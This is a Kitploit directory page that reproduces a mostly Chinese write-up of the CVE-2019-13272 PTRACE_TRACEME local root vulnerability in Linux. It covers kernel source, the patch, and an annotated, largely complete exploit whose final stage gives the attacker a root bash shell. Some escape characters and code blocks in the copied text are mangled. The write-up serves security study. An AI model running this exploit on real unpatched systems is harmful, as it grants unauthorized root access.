Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-13272 | Kitploit
工具/GitHubGitHub/datntsec/cve-2019-13272
权限提升漏洞分析漏洞利用学习与教育二进制利用
GitHubdatntsec/cve-2019-13272

CVE-2019-13272

查看仓库
5年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-13272

PTRACE_TRACEME CVE-2019-13272 本地提权漏洞分析

PTRACE_TRACEME 是一个 Linux 内核中的权限提升漏洞,由 Jann Horn 于 2019 年 7 月发现。

漏洞分析:

Ptrace 是一个系统调用(system call),它提供了一种方法,允许一个进程(tracer)观察和控制另一个进程(tracee)的执行过程,检查并修改其核心映像(core image)和寄存器,主要用于在调试中设置断点(break point)以及跟踪系统调用的调用过程。``` c 1 396 kernel/ptrace.c <<ptrace_attach>> ptrace_link(task, current); 2 469 kernel/ptrace.c <<ptrace_traceme>> ptrace_link(current, current->real_parent);

root@kitploit:~
有两种方法可以建立跟踪关系(trace relationship):
  - 进程调用 fork 函数,其子进程会调用 `PTRACE_TRACEME`(对应内核中的 `ptrace_traceme` 函数)来初始化 tracee。
  - 进程调用 `PTRACE_ATTACH` 或 `PTRACE_SEIZE`(对应内核中的 `ptrace_attach` 函数)来初始化一个 tracer,用于跟踪其他进程。

无论使用哪种方式,最终都会调用 `ptrace_link` 函数来在 tracer 和 tracee 之间建立跟踪关系。
- 对于 `ptrace_attach`,传入 `ptrace_link` 的两个参数是 'task'(tracee)和 'current'(tracer)。
- 对于 `ptrace_traceme`,传入 `ptrace_link` 的两个参数是 'current'(tracee)和 'current->real_parent'(tracer)。

在这里,我们需要留意上面两种方式中调用 `ptrace_link` 时传入的 tracer 和 tracee 这两个参数分别是什么,因为漏洞将位于 `ptrace_link` 函数中。``` c
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
        rcu_read_lock();
        __ptrace_link(child, new_parent, __task_cred(new_parent));
        rcu_read_unlock();
}

void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
                   const struct cred *ptracer_cred)
{
        BUG_ON(!list_empty(&child->ptrace_entry));
        list_add(&child->ptrace_entry, &new_parent->ptraced); // 1. thêm chính nó vào hàng đợi 
                                                                 // ptraced của process cha
        child->parent = new_parent; // 2. Lưu địa chỉ của process cha trong con trỏ parent
        child->ptracer_cred = get_cred(ptracer_cred); // 3. Lưu ptracer_cred lại, ta cần tập trung 
                                                          // vào biến này vì lỗi nằm ở đây
}

建立 trace relationship 的关键在于,tracee 会记录 tracer 的 cred,并将其保存在 tracee 的 'ptracer_cred' 变量中。

'ptracer_cred' 的概念由 2016 年引入的一个补丁提出,ptrace: Capture the ptracer's creds not PT_PTRACE_CAP。引入 'ptracer_cred' 的目的是为了在 tracee 执行 exec 加载 setuid 可执行文件 时进行安全检查。

为什么我们需要检查这种安全性?

exec 系列函数可以更新进程映像。如果可执行文件的 setuid 位 被设置,那么当该可执行文件运行时,进程的 euid 将被修改为可执行文件所有者的 uid。进程的权限高于调用 exec 的用户的权限,运行这类 setuid 可执行文件 会产生权限提升(escalation)的效果。

想象一下,如果执行 exec 的进程本身是一个 tracee,那么当它执行 setuid 可执行文件 来提升特权后,它的 tracer 可以随时修改它(tracee)的寄存器和内存。如果低特权的 tracer 能够控制高特权的 tracee,那么 tracer 就可以通过 tracee 执行未授权操作。

然而,在内核中,似乎不允许存在这种越权行为。因此,在建立 trace relationship 时,tracee 需要保存 tracer 的 cred(即 ptracer_cred)。如果 tracee 执行一个 exec 进程,它会检查所运行的可执行文件的 setuid 位是否被设置;如果已设置,就会检查 'ptracer_cred' 的权限。如果权限不满足,则不会使用 setuid 位的执行权限(文件所有者的特权)来执行 exec,而是以原始用户的权限来执行。

该过程的代码分析如下(本文的代码分析基于 v4.19-rc8)。``` python do_execve -> __do_execve_file -> prepare_binprm -> bprm_fill_uid -> security_bprm_set_creds ->cap_bprm_set_creds -> ptracer_capable ->selinux_bprm_set_creds ->(apparmor_bprm_set_creds) ->(smack_bprm_set_creds) ->(tomoyo_bprm_set_creds)

root@kitploit:~
与执行权限相关的操作主要位于 `prepare_binprm` 函数中``` c
1567 int prepare_binprm(struct linux_binprm *bprm)
1568 {
1569         int retval;
1570         loff_t pos = 0;
1571 
1572         bprm_fill_uid(bprm); // <-- fill cred của new process (xem hàm bprm_fill_uid bên dưới sẽ rõ hơn)
1573 
1574         /* fill in binprm security blob */
1575         retval = security_bprm_set_creds(bprm); // <-- kiểm tra bảo mật, để xem xét sửa đổi cred của new process     
1576         if (retval)
1577                 return retval;
1578         bprm->called_set_creds = 1;
1579 
1580         memset(bprm->buf, 0, BINPRM_BUF_SIZE);
1581         return kernel_read(bprm->file, bprm->buf, BINPRM_BUF_SIZE, &pos);
1582 }

如上所述,首先调用 bprm_fill_uid 来填充新进程的 cred,然后调用 security_bprm_set_creds 来检查安全性并在必要时修改新的 cred。``` c 1509 static void bprm_fill_uid(struct linux_binprm *bprm) 1510 { 1511 struct inode inode; 1512 unsigned int mode; 1513 kuid_t uid; 1514 kgid_t gid; 1515 1516 / 1517 * Since this can be called multiple times (via prepare_binprm), 1518 * we must clear any previous work done when setting set[ug]id 1519 * bits from any earlier bprm->file uses (for example when run 1520 * first for a setuid script then again for its interpreter). 1521 / 1522 bprm->cred->euid = current_euid(); // <--- trước tiên sẽ sử dụng euid của process hiện tại 1523 bprm->cred->egid = current_egid(); 1524 1525 if (!mnt_may_suid(bprm->file->f_path.mnt)) 1526 return; 1527 1528 if (task_no_new_privs(current)) 1529 return; 1530 1531 inode = bprm->file->f_path.dentry->d_inode; 1532 mode = READ_ONCE(inode->i_mode); 1533 if (!(mode & (S_ISUID|S_ISGID))) // <---------- nếu bit setuid/setgid của file thực thi không được set 1534 return; // , hàm sẽ return tại đây. 1535 1536 / Be careful if suid/sgid is set / 1537 inode_lock(inode); 1538 1539 / reload atomically mode/uid/gid now that lock held / 1540 mode = inode->i_mode; 1541 uid = inode->i_uid; // <---- nếu S_ISUID được set,sử dụng i_uid của file 1542 gid = inode->i_gid; 1543 inode_unlock(inode); 1544 1545 / We ignore suid/sgid if there are no mappings for them in the ns */ 1546 if (!kuid_has_mapping(bprm->cred->user_ns, uid) || 1547 !kgid_has_mapping(bprm->cred->user_ns, gid)) 1548 return; 1549 1550 if (mode & S_ISUID) { 1551 bprm->per_clear |= PER_CLEAR_ON_SETID; 1552 bprm->cred->euid = uid; // <------ sử dụng uid của file như là euid của new process 1553 } 1554 1555 if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) { 1556 bprm->per_clear |= PER_CLEAR_ON_SETID; 1557 bprm->cred->egid = gid; 1558 } 1559 }

root@kitploit:~
看看上面代码的以下两行代码:
- 第 1522 行,将进程当前的 euid 赋给新的 euid,因此大多数执行进程都以原始权限执行。
- 第 1552 行,如果设置了 suid 位,则将可执行文件所有者的 uid 赋给新的 uid。可以将其理解为类似 setuid 的操作。新的 euid 变成可执行文件所有者的 uid,如果所有者是特权用户,则权限提升就在这里发生。

然而,这里的 euid 仍然不是最终结果,我们需要查看 `security_bprm_set_creds` 函数以了解更多关于安全检查的信息。

`security_bprm_set_creds` 函数调用 [LSM](https://en.wikipedia.org/wiki/Linux_Security_Modules) 框架

在我分析的 kernel 版本中,有多达 5 个 LSM 框架的 hook 点会对 `bprm_set_creds` 执行安全检查。检查函数如下:``` python
cap_bprm_set_creds
selinux_bprm_set_creds
apparmor_bprm_set_creds
smack_bprm_set_creds
tomoyo_bprm_set_creds

哪些 hook 函数会在此处执行将取决于每个特定内核的配置。理论上,如果所有 LSM 框架都被启用,上述所有 hook 函数都将被实现以检查 'bprm_set_creds'。

在我的分析环境中,只有 cap_bprm_set_creds 和 selinux_bprm_set_creds 两个 hook 函数运行。

其中,cap_bprm_set_creds 函数将扮演改变 euid 的角色:``` c 815 int cap_bprm_set_creds(struct linux_binprm *bprm) 816 { 817 const struct cred *old = current_cred(); 818 struct cred new = bprm->cred; 819 bool effective = false, has_fcap = false, is_setid; 820 int ret; 821 kuid_t root_uid; ===================== skip ====================== 838 / Don't let someone trace a set[ug]id/setpcap binary with the revised 839 * credentials unless they have the appropriate permit. 840 * 841 * In addition, if NO_NEW_PRIVS, then ensure we get no new privs. 842 / 843 is_setid = __is_setuid(new, old) || __is_setgid(new, old);
844 845 if ((is_setid || __cap_gained(permitted, new, old)) && // <---- kiểm tra setid của chương trình được thực thi 846 ((bprm->unsafe & ~LSM_UNSAFE_PTRACE) || 847 !ptracer_capable(current, new->user_ns))) { // <----- Nếu process thực thi execve được trace, và executed program là setuid, quyền sẽ được xem xét thêm vào 848 /
downgrade; they get no more than they had, and maybe less */ 849 if (!ns_capable(new->user_ns, CAP_SETUID) || 850 (bprm->unsafe & LSM_UNSAFE_NO_NEW_PRIVS)) { 851 new->euid = new->uid; // <----- Nếu không thỏa điều kiện, euid của tiến trình mới sẽ được reset về uid ban đầu 852 new->egid = new->gid; 853 } 854 new->cap_permitted = cap_intersect(new->cap_permitted, 855 old->cap_permitted); 856 } 857 858 new->suid = new->fsuid = new->euid; 859 new->sgid = new->fsgid = new->egid; ===================== skip ====================== }

root@kitploit:~
如上面所述, 
  - 第845行检查euid是否与原始uid一致(在上面的`bprm_fill_uid`函数分析中,如果被执行文件的setuid位被设置,euid通常不一致)==> 这里也可以理解为,它相当于检测被执行的进程是否为setid程序。
  - 第847行将检查进程是否为tracee。
  
如果上述两个条件均满足,则需要执行`ptracer_capable`函数来检查权限。如果检查不通过,将执行降权操作。
  - 第851行,将'*new->euid*'的值改为'*new->uid*',意味着从`bprm_fill_uid`函数(cred)获取的权限可以在这里被降级。``` c
    499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
    500 {
    501         int ret = 0;  /* An absent tracer adds no restrictions */
    502         const struct cred *cred;
    503         rcu_read_lock();
    504         cred = rcu_dereference(tsk->ptracer_cred); // <----- lấy ra ptracer_cred được lưu khi ptrace_link
    505         if (cred)
    506                 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); // <-- đi vào lsm framwork để kiểm tra bảo mật
    507         rcu_read_unlock();
    508         return (ret == 0);
    509 }
    

如上所述

  • 第504行取出 *tsk->ptracer_cred*。
  • 第506行,进入LSM框架检查 *tsk->ptracer_cred*。

变量 *tsk->ptracer_cred* 与漏洞相关的位置就在这里。如前所述,该变量是 tracee 在建立 trace 关系时保存的 tracer 的 cred。

当 tracee 随后执行 execve 来运行 suid 可执行程序时,它会调用 ptracer_capable 函数,并使用 LSM 中的安全框架来确定 *ptracer_cred* 的权限。

我们不会分析 LSM 框架中的 security_capable_noaudit,但可以简单理解为:如果 tracer 本身具有 root 权限,那么这里的检查就会通过;否则,它将返回错误。

根据先前的分析,如果 ptracer_capable 函数的检查未通过,那么 *new->euid* 的权限将被降回原始权限。

例如:A ptrace B,B 执行 execve '/usr/bin/passwd'。根据上述代码的分析,如果 A 具有 root 权限,则 B 执行 passwd 时的 euid 为 root;否则,它将使用原始权限。``` c kernel/ptrace.c <<ptrace_traceme>> ptrace_link(current, current->real_parent);

static void ptrace_link(struct task_struct *child, struct task_struct *new_parent) { rcu_read_lock(); __ptrace_link(child, new_parent, __task_cred(new_parent)); rcu_read_unlock(); }

root@kitploit:~
回到上面包含漏洞的代码片段,为什么 traceme 在建立 trace link 时记录其父进程的 cred 是错误的?显然此时它的父进程是 tracer?

通过使用 Jann Horn 的示例来说明,为什么 traceme 在以这种方式建立 trace link 时不能使用 tracer 的 cred。``` py
 - 1,  task A: fork()s a child, task B
 - 2,  task B: fork()s a child, task C
 - 3,  task B: execve(/some/special/suid/binary)
 - 4,  task C: PTRACE_TRACEME (creates privileged ptrace relationship)
 - 5,  task C: execve(/usr/bin/passwd)
 - 6,  task B: drop privileges (setresuid(getuid(), getuid(), getuid()))
 - 7,  task B: become dumpable again (e.g. execve(/some/other/binary))
 - 8,  task A: PTRACE_ATTACH to task B
 - 9,  task A: use ptrace to take control of task B
 - 10, task B: use ptrace to take control of task C

共有3个进程:A、B、C在上面的场景中。

  • 在步骤4中,当任务C使用PTRACE_TRACEME与B建立trace链接时,由于B此时的euid为0(因为它刚刚执行了suid binary),C写入的'ptracer_cred'的euid也是0
  • 在步骤5中,任务C随后执行execve(suid binary)。根据上面的分析,因为C的'ptracer_cred'具有特权,所以ptracer_capable函数通过了检查,因此在执行execve之后,任务C的euid也被提升为0。请注意,此时B和C之间的trace链接仍然有效。
  • 在步骤6中,任务B执行setresuid来降低其权限。这样做的目的是为了后续与任务A进行attach
  • 在步骤8中,任务A使用PTRACE_ATTACH与B建立trace链接。A和B都具有普通权限,之后A可以控制B执行任何操作。
  • 在步骤10中,任务B控制任务C执行权限提升操作。

前9个步骤都是根据之前的代码分析来设置的,那么第9步能否设置成功呢?

当执行步骤10时,任务B本身具有普通权限,任务C具有root权限,并且B与C之间的trace链接是有效的。在这种条件下,B能否向C发送一个ptrace请求,让C执行各种操作,包括权限提升?

请用下面的代码来分析这一点:``` c 1111 SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr, 1112 unsigned long, data) 1113 { 1114 struct task_struct child; 1115 long ret; 1116 1117 if (request == PTRACE_TRACEME) { 1118 ret = ptrace_traceme(); // <----- đi vào nhánh traceme 1119 if (!ret) 1120 arch_ptrace_attach(current); 1121 goto out; 1122 } 1123 1124 child = find_get_task_by_vpid(pid); 1125 if (!child) { 1126 ret = -ESRCH; 1127 goto out; 1128 } 1129 1130 if (request == PTRACE_ATTACH || request == PTRACE_SEIZE) { 1131 ret = ptrace_attach(child, request, addr, data); // <------ đi vào nhánh attach 1132 / 1133 * Some architectures need to do book-keeping after 1134 * a ptrace attach. 1135 */ 1136 if (!ret) 1137 arch_ptrace_attach(child); 1138 goto out_put_task_struct; 1139 } 1140 1141 ret = ptrace_check_attach(child, request == PTRACE_KILL || 1142 request == PTRACE_INTERRUPT); 1143 if (ret < 0) 1144 goto out_put_task_struct; 1145 1146 ret = arch_ptrace(child, request, addr, data); // <---- các yêu cầu ptrace khác 1147 if (ret || request != PTRACE_DETACH) 1148 ptrace_unfreeze_traced(child); 1149 1150 out_put_task_struct: 1151 put_task_struct(child); 1152 out: 1153 return ret; 1154 }

root@kitploit:~
如上面的代码所示,由于任务 B 和任务 C 此时已经建立了 trace links,ptrace 请求可以直接通过 B 发送到 C,从而调用 `arch_ptrace` 函数。``` c
arch/x86/kernel/ptrace.c

arch_ptrace 
    -> ptrace_request 
        -> generic_ptrace_peekdata
           generic_ptrace_pokedata 
            -> ptrace_access_vm 
                -> ptracer_capable 
kernel/ptrace.c
884 int ptrace_request(struct task_struct *child, long request,
885                    unsigned long addr, unsigned long data)
886 {
887         bool seized = child->ptrace & PT_SEIZED;
888         int ret = -EIO;
889         siginfo_t siginfo, *si;
890         void __user *datavp = (void __user *) data;
891         unsigned long __user *datalp = datavp;
892         unsigned long flags;
893 
894         switch (request) {
895         case PTRACE_PEEKTEXT:
896         case PTRACE_PEEKDATA:
897                 return generic_ptrace_peekdata(child, addr, data);
898         case PTRACE_POKETEXT:
899         case PTRACE_POKEDATA:
900                 return generic_ptrace_pokedata(child, addr, data);
901 
=================== skip ================
1105 }



1156 int generic_ptrace_peekdata(struct task_struct *tsk, unsigned long addr,
1157                             unsigned long data)
1158 {
1159         unsigned long tmp;
1160         int copied;
1161 
1162         copied = ptrace_access_vm(tsk, addr, &tmp, sizeof(tmp), FOLL_FORCE); // <--- gọi hàm ptrace_access_vm
1163         if (copied != sizeof(tmp))
1164                 return -EIO;
1165         return put_user(tmp, (unsigned long __user *)data);
1166 }
1167 
1168 int generic_ptrace_pokedata(struct task_struct *tsk, unsigned long addr,
1169                             unsigned long data)
1170 {
1171         int copied;
1172 
1173         copied = ptrace_access_vm(tsk, addr, &data, sizeof(data), // <---- gọi hàm ptrace_access_vm
1174                         FOLL_FORCE | FOLL_WRITE);
1175         return (copied == sizeof(data)) ? 0 : -EIO;
1176 }

当 tracer 想要控制 tracee 执行新的代码逻辑时,它需要向 tracee 的代码区和内存区发送读写请求。对应的请求是 PTRACE_PEEKTEXT/PTRACE_PEEKDATA/PTRACE_POKETEXT/PTRACE_POKEDATA 这些函数。

这些读写操作最终通过 ptrace_access_vm 函数来完成。``` c kernel/ptrace.c 38 int ptrace_access_vm(struct task_struct *tsk, unsigned long addr, 39 void *buf, int len, unsigned int gup_flags) 40 { 41 struct mm_struct *mm; 42 int ret; 43 44 mm = get_task_mm(tsk); 45 if (!mm) 46 return 0; 47 48 if (!tsk->ptrace || 49 (current != tsk->parent) || 50 ((get_dumpable(mm) != SUID_DUMP_USER) && 51 !ptracer_capable(tsk, mm->user_ns))) { // < ----- gọi hàm ptracer_capable một lần nữa. 52 mmput(mm); 53 return 0; 54 } 55 56 ret = __access_remote_vm(tsk, mm, addr, buf, len, gup_flags); 57 mmput(mm); 58 59 return ret; 60 }

kernel/capability.c 499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace ns) 500 { 501 int ret = 0; / An absent tracer adds no restrictions */ 502 const struct cred *cred; 503 rcu_read_lock(); 504 cred = rcu_dereference(tsk->ptracer_cred); 505 if (cred) 506 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); 507 rcu_read_unlock(); 508 return (ret == 0); 509 }

root@kitploit:~
看上面的代码,可以看到,`ptrace_access_vm` 函数会调用我们之前分析过的 `ptracer_capable` 函数,以确定其请求是否可以被执行。

根据之前的分析结果,此时存储在 task C 中的 '*ptracer_cred*' 是一个特权 cred,因此此时 `ptracer_capable` 会通过,也就是说上面的问题已经有了答案。在这种情况下,普通权限的 task B 可以使用 ptrace 向具有 root 权限的 task C 发送读写内存区域和代码区域的请求。

此时,task C 在两种情况下执行 '*ptracer_cred*' 特权:
- Task C 执行 `execve(suid binary)` 以提升权限
- 普通权限的 task B 可以执行 ptrace 读写 task C 的代码区域和内存区域,从而控制 task C 执行任意操作

以上两个角色的结合是否是一个完整的权限提升操作?

在回答上面的问题之前,我们先看看这个漏洞是如何被利用和修复的。

# PTRACE_TRACEME 漏洞补丁概述``` 
PTRACE_TRACEME records the parent's credentials as if the parent was 
acting as the subject, but that's not the case.  If a malicious
unprivileged child uses PTRACE_TRACEME and the parent is privileged, and
at a later point, the parent process becomes attacker-controlled
(because it drops privileges and calls execve()), the attacker ends up
with control over two processes with a privileged ptrace relationship,
which can be abused to ptrace a suid binary and obtain root privileges.

本质上,这个漏洞有点类似于 TOCTOU 类型的漏洞。在 traceme 阶段获取 'ptracer_cred',并在后续的 ptrace 请求的下一阶段使用 'ptracer_cred',tracer 的 cred 可能不是最初的 cred,而是链接时刻的 cred(也就是说,它是在 ptrace_link 函数中被重新赋值的)。``` diff diff --git a/kernel/ptrace.c b/kernel/ptrace.c index 8456b6e..705887f 100644 --- a/kernel/ptrace.c +++ b/kernel/ptrace.c @@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent, */ static void ptrace_link(struct task_struct *child, struct task_struct *new_parent) {

  • rcu_read_lock();
  • __ptrace_link(child, new_parent, __task_cred(new_parent));
  • rcu_read_unlock();
  • __ptrace_link(child, new_parent, current_cred()); }
root@kitploit:~
让我们再看一下补丁:'*\_\_task_cred(new_parent)*' 替换为 '*current_cred()*'

该补丁指出,当执行 PTRACE_TRACEME 时,'*ptracer_cred*' 使用的不是父进程的 cred,而是自身的 cred。

# 漏洞利用
利用此漏洞的关键是找到一个合适的可执行程序来启动任务 B。该可执行程序必须满足以下条件
- 普通用户可以调用
- 在执行过程中必须有一个将特权提升到 root 的阶段
- 获得 root 权限后,必须能够降权。

(临时提升到 root 的目的是让任务 C 能够获得 root 的 ptracer_cred,而降级的目的则是让 B 能够被一个具有普通 ptrace 权限的进程 attach ))

以下是 3 个漏洞利用代码示例:
- [Jann Horn 的漏洞利用](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217)
- [Bcoles 的漏洞利用](https://github.com/bcoles/kernel-exploits/blob/master/CVE-2019-13272/poc.c)
- [Jiayy 的漏洞利用](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272)

在 [Jann Horn 的漏洞利用](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217)中,使用了系统中自带的(针对桌面版)[pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) 程序来启动任务 B

[pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) 允许有权限的用户以另一个用户的身份运行程序,用于 polkit 的认证框架。当使用 --user 参数时,它允许进程将权限提升到 root,然后再降级到指定用户,因此可用于构建任务 B 的过程。此外,我们还需要找到通过 polkit 框架执行的可执行程序(Jann Horn 使用了 helper)。这些程序需要满足普通用户无需认证即可通过 pkexec 执行它们(许多通过 polkit 执行的程序需要通过弹出窗口进行认证),执行方式如下:``` sh
/usr/bin/pkexec —user nonrootuser /user/sbin/some-helper-binary

Bcoles 的 Exploit 在 Jann Horn 的基础上添加了查找 helper 二进制文件的代码。由于 Jann Horn 的 helper 是一个硬编码程序,它在许多 Linux 发行版中并不存在,因此他的 exploit 无法在许多发行版系统上使用。相比之下,bcoles 的 exploit 代码可以在更多发行版上成功运行。

为了研究目的,我将介绍 Jiayy 的 exploit,因为不同发行版的 helper 二进制文件各不相同,且 pkexec 仅存在于桌面发行版中。实际上,这个权限提升漏洞是 Linux 内核的一个漏洞,因此 Jann Horn 的 exploit 被修改为通过手工创建的两个程序 fakepkexec 和 fakehelper 来提升权限(而不是从目标系统中查找),以便读者可以在任何存在此漏洞的 Linux 系统(包括非桌面系统)上运行该 exploit 进行研究。

exploit 分析``` c

167 int main(int argc, char *argv) { 168 if (strcmp(argv[0], "stage2") == 0) 169 return middle_stage2(); 170 if (strcmp(argv[0], "stage3") == 0) 171 return spawn_shell(); 172 173 helper_path = "/tmp/fakehelper"; 174 175 / 176 * set up a pipe such that the next write to it will block: packet mode, 177 * limited to one packet 178 / 179 SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT)); 180 SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000)); 181 char dummy = 0; 182 SAFE(write(block_pipe[1], &dummy, 1)); 183 184 / spawn pkexec in a child, and continue here once our child is in execve() / 185 static char middle_stack[10241024]; 186 pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack), 187 CLONE_VM|CLONE_VFORK|SIGCHLD, NULL)); 188 if (!middle_success) return 1; 189 ======================= skip ======================= 215 }

root@kitploit:~
首先,请看第186行,调用clone函数来创建一个子进程(任务B),任务B将运行middle_main函数。``` c
64 static int middle_main(void *dummy) {
65   prctl(PR_SET_PDEATHSIG, SIGKILL);
66   pid_t middle = getpid();
67 
68   self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
69 
70   pid_t child = SAFE(fork());
71   if (child == 0) {
72     prctl(PR_SET_PDEATHSIG, SIGKILL);
73 
74     SAFE(dup2(self_fd, 42));
75 
76     /* spin until our parent becomes privileged (have to be fast here) */
77     int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
78     char *needle = tprintf("nUid:t%dt0t", getuid());
79     while (1) {
80       char buf[1000];
81       ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
82       buf[buflen] = '';
83       if (strstr(buf, needle)) break;
84     }
85 
86     /*
87      * this is where the bug is triggered.
88      * while our parent is in the middle of pkexec, we force it to become our
89      * tracer, with pkexec's creds as ptracer_cred.
90      */
91     SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
92 
93     /*
94      * now we execute passwd. because the ptrace relationship is considered to
95      * be privileged, this is a proper suid execution despite the attached
96      * tracer, not a degraded one.
97      * at the end of execve(), this process receives a SIGTRAP from ptrace.
98      */
99     puts("executing passwd");
100     execl("/usr/bin/passwd", "passwd", NULL);
101     err(1, "execl passwd");
102   }
103 
104   SAFE(dup2(self_fd, 0));
105   SAFE(dup2(block_pipe[1], 1));
106 
107   struct passwd *pw = getpwuid(getuid());
108   if (pw == NULL) err(1, "getpwuid");
109 
110   middle_success = 1;
111   execl("/tmp/fakepkexec", "fakepkexec", "--user", pw->pw_name, NULL);
112   middle_success = 0;
113   err(1, "execl pkexec");
114 }

Dòng 70, gọi hàm fork để tạo một grandchild process (task C).

Sau đó, tại dòng 111, task B chạy fakepkexec để nâng quyền và sau đó hạ quyền.

Tiếp theo, nhìn vào dòng 76 đến 84, sau khi task C phát hiện ra rằng euid của task B trở thành 0, nó sẽ thực thi dòng 91 để thực hiện thao tác PTRACE_TRACEME để lấy ptracer_cred của root, và sau đó ngay lập tức chạy executel để thực thi suid binary để làm cho euid của nó trở thành 0``` c 190 /* 191 * wait for our child to go through both execve() calls (first pkexec, then 192 * the executable permitted by polkit policy). 193 */ 194 while (1) { 195 int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY); 196 char buf[16]; 197 int buflen = SAFE(read(fd, buf, sizeof(buf)-1)); 198 buf[buflen] = ''; 199 strchrnul(buf, 'n') = ''; 200 if (strncmp(buf, basename(helper_path), 15) == 0) 201 break; 202 usleep(100000); 203 } 204 205 / 206 * our child should have gone through both the privileged execve() and the 207 * following execve() here 208 */ 209 SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL)); 210 SAFE(waitpid(midpid, &dummy_status, 0)); 211 fputs("attached to midpidn", stderr); 212 213 force_exec_and_wait(midpid, 0, "stage2"); 214 return 0;

root@kitploit:~
接下来,回到任务 A 的 main 函数,第 194 到 202 行,任务 A 检查任务 B 的 comm 文件是否已成为 helper,如果是,它将运行第 213 行来执行 force_exec_and_wait 函数``` c
116 static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
117   struct user_regs_struct regs;
118   struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
119   SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
120   SAFE(waitpid(pid, &dummy_status, 0));
121   SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
122 
123   /* set up indirect arguments */
124   unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
125   struct injected_page {
126     unsigned long argv[2];
127     unsigned long envv[1];
128     char arg0[8];
129     char path[1];
130   } ipage = {
131     .argv = { scratch_area + offsetof(struct injected_page, arg0) }
132   };
133   strcpy(ipage.arg0, arg0);
134   for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
135     unsigned long pdata = ((unsigned long *)&ipage)[i];
136     SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
137                 (void*)pdata));
138   }
139 
140   /* execveat(exec_fd, path, argv, envv, flags) */
141   regs.orig_rax = __NR_execveat;
142   regs.rdi = exec_fd;
143   regs.rsi = scratch_area + offsetof(struct injected_page, path);
144   regs.rdx = scratch_area + offsetof(struct injected_page, argv);
145   regs.r10 = scratch_area + offsetof(struct injected_page, envv);
146   regs.r8 = AT_EMPTY_PATH;
147 
148   SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
149   SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
150   SAFE(waitpid(pid, &dummy_status, 0));
151 }

force_exec_and_wait 的功能是使用 ptrace 控制 tracee 执行 execveat 函数,以替换 process 的 image;在这里,它控制 task B 执行 task A 的 process(即 exploit 的可执行程序——binary exploit 文件),参数为 stage2,以便 task B 执行 middle_stage2 函数。``` c 167 int main(int argc, char **argv) { 168 if (strcmp(argv[0], "stage2") == 0) 169 return middle_stage2(); 170 if (strcmp(argv[0], "stage3") == 0) 171 return spawn_shell();

root@kitploit:~
middle_stage2 函数也调用 force_exec_and_wait,会使 task B 使用 ptrace 控制 task C 执行 execveat 函数,将 task C 的镜像替换为 exploit 的二进制文件,参数为 stage3``` c
153 static int middle_stage2(void) {
154   /* our child is hanging in signal delivery from execve()'s SIGTRAP */
155   pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
156   force_exec_and_wait(child, 42, "stage3");
157   return 0;
158 }

当 exploit 二进制文件以 stage3 参数运行时,它会执行 spawn_shell 函数,因此任务 C 的最后阶段是运行 spawn_shell。``` c 160 static int spawn_shell(void) { 161 SAFE(setresgid(0, 0, 0)); 162 SAFE(setresuid(0, 0, 0)); 163 execlp("bash", "bash", NULL); 164 err(1, "execlp"); 165 }

root@kitploit:~
在 spawn_shell 函数中,首先使用 setresgid/setresuid 将进程的 real uid/effective uid/save uid 更改为 root。由于 task C 刚刚执行了 suid binary 并将自身的 euid 更改为 root,因此在这里 setresuid/setresgid 可以成功执行。此时,task C 已经成为一个完整的 root process。最后,执行 execlp 来打开一个 shell,而这个 shell 将拥有 root 的全部特权。``` go
       	     forks               forks
+------proc_A -----------> proc_B ------------> proc_C
|       |                   |                    |
|     Wait B                |                    |
|     And attach            |                    |
|     Execve stage 2 in B   |                    |
+-------+-------------------+--------------------+
stage 1 |                 pkexec              get privileged tracer
|       |                   |                    |
|       |                   |                    |
|       |                 Unprivileged        exec SUID binary,
|       |                 Traced by A         become privileged, SIGTRAPed
+-------+-------------------+--------------------+
|       |                   |                    |
stage 2 |                 Wait C,                |
|       |                 Execve stage3 in C     |
|       |                   |                    |
+-------+-------------------+--------------------+
|       |                   |                    |
|       |                   |                    |
stage 3 |                   |                 setresuid to 0, 0, 0
|       |                   |                    |
|       |                   |                 exeve bash as root :)
+-------+-------------------+--------------------+

参考

